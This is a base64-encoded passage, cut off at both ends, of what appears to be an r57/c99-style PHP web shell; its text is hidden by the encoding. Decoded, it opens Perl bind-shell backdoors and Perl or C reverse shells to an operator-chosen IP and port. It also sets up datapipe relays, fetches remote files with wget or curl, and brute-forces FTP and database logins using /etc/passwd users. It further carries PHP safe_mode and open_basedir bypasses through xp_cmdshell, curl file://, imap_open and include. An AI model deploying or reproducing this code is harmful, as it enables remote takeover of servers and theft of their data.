eG9uZyBpbmkucGhwIHRodSB4ZW0gXl4hIjsNCiB9DQppZiAoIWVtcHR5KCRfUE9TVFsncG9ydCddKSYm IWVtcHR5KCRfUE9TVFsnYmluZF9wYXNzJ10pJiYoJF9QT1NUWyd1c2UnXT09IlBlcmwiKSkNCnsNCiBj ZigiL3RtcC9iZHBsIiwkcG9ydF9iaW5kX2JkX3BsKTsNCiAkcDI9d2hpY2goInBlcmwiKTsNCiAkYmxh aCA9IGV4KCRwMi4iIC90bXAvYmRwbCAiLiRfUE9TVFsncG9ydCddLiIgJiIpOw0KICRfUE9TVFsnY21k J109InBzIC1hdXggfCBncmVwIGJkcGwiOw0KfQ0KaWYgKCFlbXB0eSgkX1BPU1RbJ2lwJ10pICYmICFl bXB0eSgkX1BPU1RbJ3BvcnQnXSkgJiYgKCRfUE9TVFsndXNlJ109PSJQZXJsIikpDQp7DQogY2YoIi90 bXAvYmFjayIsJGJhY2tfY29ubmVjdCk7DQogJHAyPXdoaWNoKCJwZXJsIik7DQogJGJsYWggPSBleCgk cDIuIiAvdG1wL2JhY2sgIi4kX1BPU1RbJ2lwJ10uIiAiLiRfUE9TVFsncG9ydCddLiIgJiIpOw0KICRf UE9TVFsnY21kJ109ImVjaG8gXCJOb3cgc2NyaXB0IHRyeSBjb25uZWN0IHRvICIuJF9QT1NUWydpcCdd LiIgcG9ydCAiLiRfUE9TVFsncG9ydCddLiIgLi4uXCIiOw0KfQ0KaWYgKCFlbXB0eSgkX1BPU1RbJ2lw

J10pICYmICFlbXB0eSgkX1BPU1RbJ3BvcnQnXSkgJiYgKCRfUE9TVFsndXNlJ109PSJDIikpDQp7DQog Y2YoIi90bXAvYmFjay5jIiwkYmFja19jb25uZWN0X2MpOw0KICRibGFoID0gZXgoImdjYyAtbyAvdG1w L2JhY2tjIC90bXAvYmFjay5jIik7DQogQHVubGluaygiL3RtcC9iYWNrLmMiKTsNCiAkYmxhaCA9IGV4 KCIvdG1wL2JhY2tjICIuJF9QT1NUWydpcCddLiIgIi4kX1BPU1RbJ3BvcnQnXS4iICYiKTsNCiAkX1BP U1RbJ2NtZCddPSJlY2hvIFwiTm93IHNjcmlwdCB0cnkgY29ubmVjdCB0byAiLiRfUE9TVFsnaXAnXS4i IHBvcnQgIi4kX1BPU1RbJ3BvcnQnXS4iIC4uLlwiIjsNCn0NCmlmICghZW1wdHkoJF9QT1NUWydsb2Nh bF9wb3J0J10pICYmICFlbXB0eSgkX1BPU1RbJ3JlbW90ZV9ob3N0J10pICYmICFlbXB0eSgkX1BPU1Rb J3JlbW90ZV9wb3J0J10pICYmICgkX1BPU1RbJ3VzZSddPT0iUGVybCIpKQ0Kew0KIGNmKCIvdG1wL2Rw IiwkZGF0YXBpcGVfcGwpOw0KICRwMj13aGljaCgicGVybCIpOw0KICRibGFoID0gZXgoJHAyLiIgL3Rt cC9kcCAiLiRfUE9TVFsnbG9jYWxfcG9ydCddLiIgIi4kX1BPU1RbJ3JlbW90ZV9ob3N0J10uIiAiLiRf UE9TVFsncmVtb3RlX3BvcnQnXS4iICYiKTsNCiAkX1BPU1RbJ2NtZCddPSJwcyAtYXV4IHwgZ3JlcCBk cCI7DQp9DQppZiAoIWVtcHR5KCRfUE9TVFsnbG9jYWxfcG9ydCddKSAmJiAhZW1wdHkoJF9QT1NUWydy ZW1vdGVfaG9zdCddKSAmJiAhZW1wdHkoJF9QT1NUWydyZW1vdGVfcG9ydCddKSAmJiAoJF9QT1NUWyd1 c2UnXT09IkMiKSkNCnsNCiBjZigiL3RtcC9kcGMuYyIsJGRhdGFwaXBlX2MpOw0KICRibGFoID0gZXgo ImdjYyAtbyAvdG1wL2RwYyAvdG1wL2RwYy5jIik7DQogQHVubGluaygiL3RtcC9kcGMuYyIpOw0KICRi bGFoID0gZXgoIi90bXAvZHBjICIuJF9QT1NUWydsb2NhbF9wb3J0J10uIiAiLiRfUE9TVFsncmVtb3Rl X3BvcnQnXS4iICIuJF9QT1NUWydyZW1vdGVfaG9zdCddLiIgJiIpOw0KICRfUE9TVFsnY21kJ109InBz IC1hdXggfCBncmVwIGRwYyI7DQp9DQppZiAoIWVtcHR5KCRfUE9TVFsnYWxpYXMnXSkgJiYgaXNzZXQo JGFsaWFzZXNbJF9QT1NUWydhbGlhcyddXSkpIHsgJF9QT1NUWydjbWQnXSA9ICRhbGlhc2VzWyRfUE9T VFsnYWxpYXMnXV07IH0NCmlmICghZW1wdHkoJEhUVFBfUE9TVF9GSUxFU1sndXNlcmZpbGUnXVsnbmFt ZSddKSkNCnsNCmlmKCFlbXB0eSgkX1BPU1RbJ25ld19uYW1lJ10pKSB7ICRuZm4gPSAkX1BPU1RbJ25l d19uYW1lJ107IH0NCmVsc2UgeyAkbmZuID0gJEhUVFBfUE9TVF9GSUxFU1sndXNlcmZpbGUnXVsnbmFt ZSddOyB9DQpAY29weSgkSFRUUF9QT1NUX0ZJTEVTWyd1c2VyZmlsZSddWyd0bXBfbmFtZSddLA0KICAg ICAgICAgICAgJF9QT1NUWydkaXInXS4iLyIuJG5mbikNCiAgICAgIG9yIHByaW50KCI8Zm9udCBjb2xv cj1XaGl0ZSBmYWNlPUZpeGVkc3lzPjxkaXYgYWxpZ249Y2VudGVyPkVycm9yIHVwbG9hZGluZyBmaWxl ICIuJEhUVFBfUE9TVF9GSUxFU1sndXNlcmZpbGUnXVsnbmFtZSddLiI8L2Rpdj48L2ZvbnQ+Iik7DQp9 DQppZiAoIWVtcHR5KCRfUE9TVFsnd2l0aCddKSAmJiAhZW1wdHkoJF9QT1NUWydyZW1fZmlsZSddKSAm JiAhZW1wdHkoJF9QT1NUWydsb2NfZmlsZSddKSkNCnsNCiBzd2l0Y2goJF9QT1NUWyd3aXRoJ10pDQog ew0KIGNhc2Ugd2dldDoNCiAkX1BPU1RbJ2NtZCddID0gd2hpY2goJ3dnZXQnKS4iICIuJF9QT1NUWydy ZW1fZmlsZSddLiIgLU8gIi4kX1BPU1RbJ2xvY19maWxlJ10uIiI7DQogYnJlYWs7DQogY2FzZSBmZXRj aDoNCiAkX1BPU1RbJ2NtZCddID0gd2hpY2goJ2ZldGNoJykuIiAtbyAiLiRfUE9TVFsnbG9jX2ZpbGUn XS4iIC1wICIuJF9QT1NUWydyZW1fZmlsZSddLiIiOw0KIGJyZWFrOw0KIGNhc2UgbHlueDoNCiAkX1BP U1RbJ2NtZCddID0gd2hpY2goJ2x5bngnKS4iIC1zb3VyY2UgIi4kX1BPU1RbJ3JlbV9maWxlJ10uIiA+ ICIuJF9QT1NUWydsb2NfZmlsZSddLiIiOw0KIGJyZWFrOw0KIGNhc2UgbGlua3M6DQogJF9QT1NUWydj bWQnXSA9IHdoaWNoKCdsaW5rcycpLiIgLXNvdXJjZSAiLiRfUE9TVFsncmVtX2ZpbGUnXS4iID4gIi4k X1BPU1RbJ2xvY19maWxlJ10uIiI7DQogYnJlYWs7DQogY2FzZSBHRVQ6DQogJF9QT1NUWydjbWQnXSA9 IHdoaWNoKCdHRVQnKS4iICIuJF9QT1NUWydyZW1fZmlsZSddLiIgPiAiLiRfUE9TVFsnbG9jX2ZpbGUn XS4iIjsNCiBicmVhazsNCiBjYXNlIGN1cmw6DQogJF9QT1NUWydjbWQnXSA9IHdoaWNoKCdjdXJsJyku IiAiLiRfUE9TVFsncmVtX2ZpbGUnXS4iIC1vICIuJF9QT1NUWydsb2NfZmlsZSddLiIiOw0KIGJyZWFr Ow0KIH0NCn0NCmlmKCFlbXB0eSgkX1BPU1RbJ2NtZCddKSAmJiAoJF9QT1NUWydjbWQnXT09ImZ0cF9m aWxlX3VwIiB8fCAkX1BPU1RbJ2NtZCddPT0iZnRwX2ZpbGVfZG93biIpKQ0KIHsNCiBsaXN0KCRmdHBf c2VydmVyLCRmdHBfcG9ydCkgPSBzcGxpdCgiOiIsJF9QT1NUWydmdHBfc2VydmVyX3BvcnQnXSk7DQog aWYoZW1wdHkoJGZ0cF9wb3J0KSkgeyAkZnRwX3BvcnQgPSAyMTsgfQ0KICRjb25uZWN0aW9uID0gQGZ0 cF9jb25uZWN0ICgkZnRwX3NlcnZlciwkZnRwX3BvcnQsMTApOw0KIGlmKCEkY29ubmVjdGlvbikgeyBl cnIoMyk7IH0NCiBlbHNlDQogIHsNCiAgaWYoIUBmdHBfbG9naW4oJGNvbm5lY3Rpb24sJF9QT1NUWydm dHBfbG9naW4nXSwkX1BPU1RbJ2Z0cF9wYXNzd29yZCddKSkgeyBlcnIoNCk7IH0NCiAgZWxzZQ0KICAg ew0KICAgaWYoJF9QT1NUWydjbWQnXT09ImZ0cF9maWxlX2Rvd24iKSB7IGlmKGNob3AoJF9QT1NUWyds b2NfZmlsZSddKT09JGRpcikgeyAkX1BPU1RbJ2xvY19maWxlJ109JGRpci4oKCEkdW5peCk/KCdcXCcp OignLycpKS5iYXNlbmFtZSgkX1BPU1RbJ2Z0cF9maWxlJ10pOyB9IEBmdHBfZ2V0KCRjb25uZWN0aW9u LCRfUE9TVFsnbG9jX2ZpbGUnXSwkX1BPU1RbJ2Z0cF9maWxlJ10sJF9QT1NUWydtb2RlJ10pOwl9DQog ICBpZigkX1BPU1RbJ2NtZCddPT0iZnRwX2ZpbGVfdXAiKSAgIHsgQGZ0cF9wdXQoJGNvbm5lY3Rpb24s JF9QT1NUWydmdHBfZmlsZSddLCRfUE9TVFsnbG9jX2ZpbGUnXSwkX1BPU1RbJ21vZGUnXSk7CX0NCiAg IH0NCiAgfQ0KIEBmdHBfY2xvc2UoJGNvbm5lY3Rpb24pOw0KICRfUE9TVFsnY21kJ10gPSAiIjsNCiB9 DQoNCiBpZighZW1wdHkoJF9QT1NUWydjbWQnXSkgJiYgKCgkX1BPU1RbJ2NtZCddPT0iZnRwX2JydXRl IikgfHwgKCRfUE9TVFsnY21kJ109PSJkYl9icnV0ZSIpKSkNCiAgew0KICBpZigkX1BPU1RbJ2NtZCdd PT0iZnRwX2JydXRlIil7DQogICBsaXN0KCRmdHBfc2VydmVyLCRmdHBfcG9ydCkgPSBzcGxpdCgiOiIs JF9QT1NUWydmdHBfc2VydmVyX3BvcnQnXSk7DQogICBpZihlbXB0eSgkZnRwX3BvcnQpKSB7ICRmdHBf cG9ydCA9IDIxOyB9DQogICAkY29ubmVjdGlvbiA9IEBmdHBfY29ubmVjdCAoJGZ0cF9zZXJ2ZXIsJGZ0 cF9wb3J0LDEwKTsNCiAgfWVsc2UgaWYoJF9QT1NUWydjbWQnXT09ImRiX2JydXRlIil7DQogICAgJGNv bm5lY3Rpb24gPSAxOw0KICB9DQogIGlmKCEkY29ubmVjdGlvbikgeyBlcnIoMyk7ICRfUE9TVFsnY21k

J10gPSAiIjsgfQ0KICBlbHNlIGlmKCgkX1BPU1RbJ2JydXRlX21ldGhvZCddPT0ncGFzc3dkJykgJiYg KCEkdXNlcnM9Z2V0X3VzZXJzKCcvZXRjL3Bhc3N3ZCcpKSl7IGVjaG8gIjx0YWJsZSB3aWR0aD0xMDAl IGNlbGxwYWRkaW5nPTAgY2VsbHNwYWNpbmc9MCBiZ2NvbG9yPSMwMDAwMDA+PHRyPjx0ZCBiZ2NvbG9y PSMzMzMzMzM+PGZvbnQgY29sb3I9cmVkIGZhY2U9VmVyZGFuYSBzaXplPS0yPjxkaXYgYWxpZ249Y2Vu dGVyPjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDk2J10uIjwvYj48L2Rpdj48L2ZvbnQ+PC90ZD48 L3RyPjwvdGFibGU+IjsgJF9QT1NUWydjbWQnXSA9ICIiOyB9DQogIGVsc2UgaWYoKCRfUE9TVFsnYnJ1 dGVfbWV0aG9kJ109PSdkaWMnKSAmJiAoISR1c2Vycz1nZXRfdXNlcnMoJF9QT1NUWydkaWN0aW9uYXJ5 J10pKSl7IGVjaG8gIjx0YWJsZSB3aWR0aD0xMDAlIGNlbGxwYWRkaW5nPTAgY2VsbHNwYWNpbmc9MCBi Z2NvbG9yPSMwMDAwMDA+PHRyPjx0ZCBiZ2NvbG9yPSMzMzMzMzM+PGZvbnQgY29sb3I9cmVkIGZhY2U9 VmVyZGFuYSBzaXplPS0yPjxkaXYgYWxpZ249Y2VudGVyPjxiPkNhblwndCBnZXQgcGFzc3dvcmQgbGlz dDwvYj48L2Rpdj48L2ZvbnQ+PC90ZD48L3RyPjwvdGFibGU+IjsgJF9QT1NUWydjbWQnXSA9ICIiOyB9 DQogIGlmKCRfUE9TVFsnY21kJ109PSJmdHBfYnJ1dGUiKXtAZnRwX2Nsb3NlKCRjb25uZWN0aW9uKTt9 DQogfQ0KDQogZWNobyAkdGFibGVfdXAzOw0KaWYgKGVtcHR5KCRfUE9TVFsnY21kJ10pJiYhJHNhZmVf bW9kZSkgeyAkX1BPU1RbJ2NtZCddPSghJHVuaXgpPygiZGlyIik6KCJscyAtbGlhIik7IH0NCmVsc2Ug aWYoZW1wdHkoJF9QT1NUWydjbWQnXSkmJiRzYWZlX21vZGUpeyAkX1BPU1RbJ2NtZCddPSJzYWZlX2Rp ciI7IH0NCmVjaG8gJGZvbnQuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEnXS4iOiA8Yj4iLiRfUE9TVFsn Y21kJ10uIjwvYj48L2ZvbnQ+PC90ZD48L3RyPjx0cj48dGQgY2xhc3M9bWFpbj48Yj48ZGl2IGFsaWdu PWNlbnRlcj48dGV4dGFyZWEgbmFtZT1yZXBvcnQgY29scz0xMjEgcm93cz0xNT4iOw0KDQpmdW5jdGlv biBkb3ppcDEoJGxpbmssJGZpbGUpDQp7DQogICAkZnAgPSBAZm9wZW4oJGxpbmssInIiKTsNCiAgIHdo aWxlKCFmZW9mKCRmcCkpDQogICB7DQogICAgICAgJGNvbnQuPSBmcmVhZCgkZnAsMTAyNCk7DQogICB9 DQogICBmY2xvc2UoJGZwKTsNCg0KICAgJGZwMiA9IEBmb3BlbigkZmlsZSwidyIpOw0KICAgZndyaXRl KCRmcDIsJGNvbnQpOw0KICAgZmNsb3NlKCRmcDIpOw0KfQ0KaWYgKGlzc2V0KCRfUE9TVFsnZnVuemlw J10pKQ0Kew0KZG96aXAxKCRfUE9TVFsnZnVuemlwJ10sJF9QT1NUWydmemlwJ10pOw0KfQ0KaWYoZW1w dHkoJF9QT1NUWydyb290J10pKXsNCn0gZWxzZSB7DQogICAkcm9vdCA9ICRfUE9TVFsncm9vdCddOyB9 DQoNCg0KDQoNCiAgJGMgPSAwOyAkRCA9IGFycmF5KCk7DQogIHNldF9lcnJvcl9oYW5kbGVyKCJlaCIp Ow0KDQogICRjaGFycyA9ICJfLS4wMTIzNDU2Nzg5MGFiY2RlZmdoaWprbG5tb3BxcnN0dXZ3eHl6QUJD REVGR0hJSktMTU5PUFFSU1RVVldYWVoiOw0KDQogIGZvcigkaT0wOyAkaSA8IHN0cmxlbigkY2hhcnMp OyAkaSsrKXsNCiAgJHBhdGggPSJ7JHJvb3R9Ii4oKHN1YnN0cigkcm9vdCwtMSkhPSIvIikgPyAiLyIg OiBOVUxMKS4ieyRjaGFyc1skaV19IjsNCg0KICAkcHJldkQgPSAkRFtjb3VudCgkRCktMV07DQogIGds b2IoJHBhdGguIioiKTsNCg0KICAgICAgICBpZigkRFtjb3VudCgkRCktMV0gIT0gJHByZXZEKXsNCg0K ICAgICAgICBmb3IoJGo9MDsgJGogPCBzdHJsZW4oJGNoYXJzKTsgJGorKyl7DQoNCiAgICAgICAgICAg JHBhdGggPSJ7JHJvb3R9Ii4oKHN1YnN0cigkcm9vdCwtMSkhPSIvIikgPyAiLyIgOiBOVUxMKS4ieyRj aGFyc1skaV19eyRjaGFyc1skal19IjsNCg0KICAgICAgICAgICAkcHJldkQyID0gJERbY291bnQoJEQp LTFdOw0KICAgICAgICAgICBnbG9iKCRwYXRoLiIqIik7DQoNCiAgICAgICAgICAgICAgaWYoJERbY291 bnQoJEQpLTFdICE9ICRwcmV2RDIpew0KDQoNCiAgICAgICAgICAgICAgICAgZm9yKCRwPTA7ICRwIDwg c3RybGVuKCRjaGFycyk7ICRwKyspew0KDQogICAgICAgICAgICAgICAgICRwYXRoID0ieyRyb290fSIu KChzdWJzdHIoJHJvb3QsLTEpIT0iLyIpID8gIi8iIDogTlVMTCkuInskY2hhcnNbJGldfXskY2hhcnNb JGpdfXskY2hhcnNbJHBdfSI7DQoNCiAgICAgICAgICAgICAgICAgJHByZXZEMyA9ICREW2NvdW50KCRE KS0xXTsNCiAgICAgICAgICAgICAgICAgZ2xvYigkcGF0aC4iKiIpOw0KDQogICAgICAgICAgICAgICAg ICAgIGlmKCREW2NvdW50KCREKS0xXSAhPSAkcHJldkQzKXsNCg0KDQogICAgICAgICAgICAgICAgICAg ICAgIGZvcigkcj0wOyAkciA8IHN0cmxlbigkY2hhcnMpOyAkcisrKXsNCg0KICAgICAgICAgICAgICAg ICAgICAgICAkcGF0aCA9Inskcm9vdH0iLigoc3Vic3RyKCRyb290LC0xKSE9Ii8iKSA/ICIvIiA6IE5V TEwpLiJ7JGNoYXJzWyRpXX17JGNoYXJzWyRqXX17JGNoYXJzWyRwXX17JGNoYXJzWyRyXX0iOw0KICAg ICAgICAgICAgICAgICAgICAgICBnbG9iKCRwYXRoLiIqIik7DQoNCiAgICAgICAgICAgICAgICAgICAg ICAgfQ0KDQogICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICB9DQoNCiAgICAg ICAgICAgICAgfQ0KDQogICAgICAgIH0NCg0KICAgICAgICB9DQoNCiAgfQ0KDQogICREID0gYXJyYXlf dW5pcXVlKCREKTsNCg0KDQoNCg0KICBmb3JlYWNoKCREIGFzICRpdGVtKQ0KICBpZihpc3NldCgkX1JF UVVFU1RbJ3Jvb3QnXSkpDQogIGVjaG8gInskaXRlbX1cbiI7DQoNCg0KDQoNCiAgZnVuY3Rpb24gZWgo JGVycm5vLCAkZXJyc3RyLCAkZXJyZmlsZSwgJGVycmxpbmUpew0KDQogICAgIGdsb2JhbCAkRCwgJGMs ICRpOw0KICAgICBwcmVnX21hdGNoKCIvU0FGRVwgTU9ERVwgUmVzdHJpY3Rpb25cIGluXCBlZmZlY3Rc Li4qd2hvc2VcIHVpZFwgaXMoLiopaXNcIG5vdFwgYWxsb3dlZFwgdG9cIGFjY2VzcyguKilvd25lZCBi eSB1aWQoLiopLyIsICRlcnJzdHIsICRvKTsNCiAgICAgaWYoJG8peyAkRFskY10gPSAkb1syXTsgJGMr Kzt9DQoNCiAgfQ0KDQppZigkc2FmZV9tb2RlKQ0Kew0KIHN3aXRjaCgkX1BPU1RbJ2NtZCddKQ0KIHsN CiBjYXNlICdzYWZlX2Rpcic6DQogICRkPUBkaXIoJGRpcik7DQogIGlmICgkZCkNCiAgIHsNCiAgIHdo aWxlIChmYWxzZSE9PSgkZmlsZT0kZC0+cmVhZCgpKSkNCiAgICB7DQogICAgIGlmICgkZmlsZT09Ii4i IHx8ICRmaWxlPT0iLi4iKSBjb250aW51ZTsNCiAgICAgQGNsZWFyc3RhdGNhY2hlKCk7DQogICAgIGxp c3QgKCRkZXYsICRpbm9kZSwgJGlub2RlcCwgJG5saW5rLCAkdWlkLCAkZ2lkLCAkaW5vZGV2LCAkc2l6 ZSwgJGF0aW1lLCAkbXRpbWUsICRjdGltZSwgJGJzaXplKSA9IHN0YXQoJGZpbGUpOw0KICAgICBpZigh JHVuaXgpew0KICAgICBlY2hvIGRhdGUoImQubS5ZIEg6aSIsJG10aW1lKTsNCiAgICAgaWYoQGlzX2Rp cigkZmlsZSkpIGVjaG8gIiAgPERJUj4gIjsgZWxzZSBwcmludGYoIiUgN3MgIiwkc2l6ZSk7DQogICAg

IH0NCiAgICAgZWxzZXsNCiAgICAgJG93bmVyID0gQHBvc2l4X2dldHB3dWlkKCR1aWQpOw0KICAgICAk Z3JnaWQgPSBAcG9zaXhfZ2V0Z3JnaWQoJGdpZCk7DQogICAgIGVjaG8gJGlub2RlLiIgIjsNCiAgICAg ZWNobyBwZXJtcyhAZmlsZXBlcm1zKCRmaWxlKSk7DQogICAgIHByaW50ZigiJSA0ZCAlIDlzICUgOXMg JTdzICIsJG5saW5rLCRvd25lclsnbmFtZSddLCRncmdpZFsnbmFtZSddLCRzaXplKTsNCiAgICAgZWNo byBkYXRlKCJkLm0uWSBIOmkgIiwkbXRpbWUpOw0KICAgICB9DQogICAgIGVjaG8gIiRmaWxlXG4iOw0K ICAgIH0NCiAgICRkLT5jbG9zZSgpOw0KICAgfQ0KICBlbHNlIGVjaG8gJGxhbmdbJGxhbmd1YWdlLl90 ZXh0MjldOw0KIGJyZWFrOw0KICBjYXNlICd0ZXN0MSc6DQogICRjaSA9IEBjdXJsX2luaXQoImZpbGU6 Ly8iLiRfUE9TVFsndGVzdDFfZmlsZSddLiIiKTsNCiAgJGNmID0gQGN1cmxfZXhlYygkY2kpOw0KICBl Y2hvICRjZjsNCiAgYnJlYWs7DQogIGNhc2UgJ3Rlc3QyJzoNCiAgQGluY2x1ZGUoJF9QT1NUWyd0ZXN0 Ml9maWxlJ10pOw0KICBicmVhazsNCiAgY2FzZSAndGVzdDQnOg0KICBpZihlbXB0eSgkX1BPU1RbJ3Rl c3Q0X3BvcnQnXSkpIHsgJF9QT1NUWyd0ZXN0NF9wb3J0J10gPSAiMTQzMyI7IH0NCiAgJGRiID0gQG1z c3FsX2Nvbm5lY3QoJ2xvY2FsaG9zdCwnLiRfUE9TVFsndGVzdDRfcG9ydCddLCRfUE9TVFsndGVzdDRf bWwnXSwkX1BPU1RbJ3Rlc3Q0X21wJ10pOw0KICBpZigkZGIpDQogICB7DQogICBpZihAbXNzcWxfc2Vs ZWN0X2RiKCRfUE9TVFsndGVzdDRfbWQnXSwkZGIpKQ0KICAgIHsNCiAgICAgQG1zc3FsX3F1ZXJ5KCJk cm9wIHRhYmxlIHI1N190ZW1wX3RhYmxlIiwkZGIpOw0KICAgICBAbXNzcWxfcXVlcnkoImNyZWF0ZSB0 YWJsZSByNTdfdGVtcF90YWJsZSAoIHN0cmluZyBWQVJDSEFSICg1MDApIE5VTEwpIiwkZGIpOw0KICAg ICBAbXNzcWxfcXVlcnkoImluc2VydCBpbnRvIHI1N190ZW1wX3RhYmxlIEVYRUMgbWFzdGVyLmRiby54 cF9jbWRzaGVsbCAnIi4kX1BPU1RbJ3Rlc3Q0X2ZpbGUnXS4iJyIsJGRiKTsNCiAgICAgJHJlcyA9IG1z c3FsX3F1ZXJ5KCJzZWxlY3QgKiBmcm9tIHI1N190ZW1wX3RhYmxlIiwkZGIpOw0KICAgICB3aGlsZSgo JHJvdz1AbXNzcWxfZmV0Y2hfcm93KCRyZXMpKSkNCiAgICAgIHsNCiAgICAgIGVjaG8gJHJvd1swXS4i XHJcbiI7DQogICAgICB9DQogICAgQG1zc3FsX3F1ZXJ5KCJkcm9wIHRhYmxlIHI1N190ZW1wX3RhYmxl IiwkZGIpOw0KICAgIH0NCiAgICBlbHNlIGVjaG8gIlstXSBFUlJPUiEgQ2FuJ3Qgc2VsZWN0IGRhdGFi YXNlIjsNCiAgIEBtc3NxbF9jbG9zZSgkZGIpOw0KICAgfQ0KICBlbHNlIGVjaG8gIlstXSBFUlJPUiEg Q2FuJ3QgY29ubmVjdCB0byBNU1NRTCBzZXJ2ZXIiOw0KICBicmVhazsNCiAgY2FzZSAndGVzdDUnOg0K ICBpZiAoQGZpbGVfZXhpc3RzKCcvdG1wL21iX3NlbmRfbWFpbCcpKSBAdW5saW5rKCcvdG1wL21iX3Nl bmRfbWFpbCcpOw0KICAkZXh0cmEgPSAiLUMgIi4kX1BPU1RbJ3Rlc3Q1X2ZpbGUnXS4iIC1YIC90bXAv bWJfc2VuZF9tYWlsIjsNCiAgQG1iX3NlbmRfbWFpbChOVUxMLCBOVUxMLCBOVUxMLCBOVUxMLCAkZXh0 cmEpOw0KICAkbGluZXMgPSBmaWxlICgnL3RtcC9tYl9zZW5kX21haWwnKTsNCiAgZm9yZWFjaCAoJGxp bmVzIGFzICRsaW5lKSB7IGVjaG8gaHRtbHNwZWNpYWxjaGFycygkbGluZSkuIlxyXG4iOyB9DQogIGJy ZWFrOw0KICBjYXNlICd0ZXN0Nic6DQogICRzdHJlYW0gPSBAaW1hcF9vcGVuKCcvZXRjL3Bhc3N3ZCcs ICIiLCAiIik7DQogICRkaXJfbGlzdCA9IEBpbWFwX2xpc3QoJHN0cmVhbSwgdHJpbSgkX1BPU1RbJ3Rl c3Q2X2ZpbGUnXSksICIqIik7DQogIGZvciAoJGkgPSAwOyAkaSA8IGNvdW50KCRkaXJfbGlzdCk7ICRp KyspIGVjaG8gJGRpcl9saXN0WyRpXS4iXHJcbiI7DQogIEBpbWFwX2Nsb3NlKCRzdHJlYW0pOw0KICBi cmVhazsNCiAgY2FzZSAndGVzdDcnOg0KICAkc3RyZWFtID0gQGltYXBfb3BlbigkX1BPU1RbJ3Rlc3Q3 X2ZpbGUnXSwgIiIsICIiKTsNCiAgJHN0ciA9IEBpbWFwX2JvZHkoJHN0cmVhbSwgMSk7DQogIGVjaG8g JHN0cjsNCiAgQGltYXBfY2xvc2UoJHN0cmVhbSk7DQogIGJyZWFrOw0KICBjYXNlICd0ZXN0OCc6DQog IGlmKEBjb3B5KCJjb21wcmVzcy56bGliOi8vIi4kX1BPU1RbJ3Rlc3Q4X2ZpbGUxJ10sICRfUE9TVFsn dGVzdDhfZmlsZTInXSkpIGVjaG8gJGxhbmdbJGxhbmd1YWdlLidfdGV4dDExOCddOw0KICBlbHNlIGVj aG8gJGxhbmdbJGxhbmd1YWdlLidfdGV4dDExOSddOw0KICBicmVhazsNCmNhc2UgJ2NVUkwnOg0KICAg aWYoZW1wdHkoJF9QT1NUWydTbklwRXJfU0EnXSkpew0KDQoNCn0gZWxzZSB7DQokY3VybD0kX1BPU1Rb J1NuSXBFcl9TQSddOw0KJGNoID1jdXJsX2luaXQoImZpbGU6Ly8vIi4kY3VybC4iXHgwMC8uLi8uLi8u Li8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8iLl9fRklMRV9fKTsNCmN1cmxfZXhlYygkY2gpOw0K dmFyX2R1bXAoY3VybF9leGVjKCRjaCkpOw0KZWNobyAiPC90ZXh0YXJlYT48L0NFTlRFUj4iOw0KDQp9 DQpicmVhazsNCmNhc2UgJ2NvcHknOg0KDQppZihlbXB0eSgkc25uKSl7DQppZihlbXB0eSgkX0dFVFsn c25uJ10pKXsNCmlmKGVtcHR5KCRfUE9TVFsnc25uJ10pKXsNCg0KfSBlbHNlIHsNCiR1MXA9JF9QT1NU Wydzbm4nXTsNCn0NCn0gZWxzZSB7DQokdTFwPSRfR0VUWydzbm4nXTsNCn0NCn0NCiAgJHUxcD0iIjsg DQokdHltY3phcz0iIjsgDQoNCg0KJHRlbXA9dGVtcG5hbSgkdHltY3phcywgImN4Iik7DQoNCmlmKGNv cHkoImNvbXByZXNzLnpsaWI6Ly8iLiRzbm4sICR0ZW1wKSl7DQokenJvZGxvID0gZm9wZW4oJHRlbXAs ICJyIik7DQokdGVrc3QgPSBmcmVhZCgkenJvZGxvLCBmaWxlc2l6ZSgkdGVtcCkpOw0KZmNsb3NlKCR6 cm9kbG8pOw0KZWNobyAiIi5odG1sc3BlY2lhbGNoYXJzKCR0ZWtzdCkuIiI7DQp1bmxpbmsoJHRlbXAp Ow0KZWNobyAiPC90ZXh0YXJlYT48L0NFTlRFUj4iOw0KfQ0KYnJlYWs7DQpjYXNlICdpbmlfcmVzdG9y ZSc6DQogaWYoZW1wdHkoJF9QT1NUWydpbmlfcmVzdG9yZSddKSl7DQp9IGVsc2Ugew0KDQokaW5pPSRf UE9TVFsnaW5pX3Jlc3RvcmUnXTsNCmVjaG8gaW5pX2dldCgic2FmZV9tb2RlIik7DQplY2hvIGluaV9n ZXQoIm9wZW5fYmFzZWRpciIpOw0KcmVxdWlyZV9vbmNlKCIkaW5pIik7DQppbmlfcmVzdG9yZSgic2Fm ZV9tb2RlIik7DQppbmlfcmVzdG9yZSgib3Blbl9iYXNlZGlyIik7DQplY2hvIGluaV9nZXQoInNhZmVf bW9kZSIpOw0KZWNobyBpbmlfZ2V0KCJvcGVuX2Jhc2VkaXIiKTsNCmluY2x1ZGUoJF9HRVRbInNzIl0p Ow0KZWNobyAiPC90ZXh0YXJlYT48L0NFTlRFUj4iOw0KfQ0KYnJlYWs7DQpjYXNlICdnbG9iJzoNCmZ1 bmN0aW9uIHJlZ19nbG9iKCkNCnsNCiRjaGVtaW49JF9SRVFVRVNUWydnbG9iJ107DQokZmlsZXMgPSBn bG9iKCIkY2hlbWluKiIpOw0KDQoNCmZvcmVhY2ggKCRmaWxlcyBhcyAkZmlsZW5hbWUpIHsNCg0KICAg ZWNobyAiJGZpbGVuYW1lXG4iOw0KDQp9DQp9DQoNCmlmKGlzc2V0KCRfUkVRVUVTVFsnZ2xvYiddKSkN

